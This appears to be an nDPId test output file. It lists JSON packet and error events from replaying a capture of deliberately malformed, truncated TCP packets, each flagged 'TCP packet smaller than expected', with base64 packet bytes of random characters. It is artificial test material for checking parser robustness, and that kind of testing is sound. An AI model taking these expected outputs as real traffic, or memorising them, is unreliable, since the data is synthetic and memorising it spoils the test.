-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347238} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347246} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347253} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347264} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347276} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347289} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":3894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347299} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347307} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347314} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347321} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347332} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347342} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347350} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347359} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347368} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347376} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347385} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347392} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347417} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347428} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347440} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347459} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347472} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347482} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347525} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347535} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347548} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347561} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347574} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347588} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347598} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347611} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347627} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347640} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347654} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347667} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347680} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347706} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347721} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347734} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028347747} 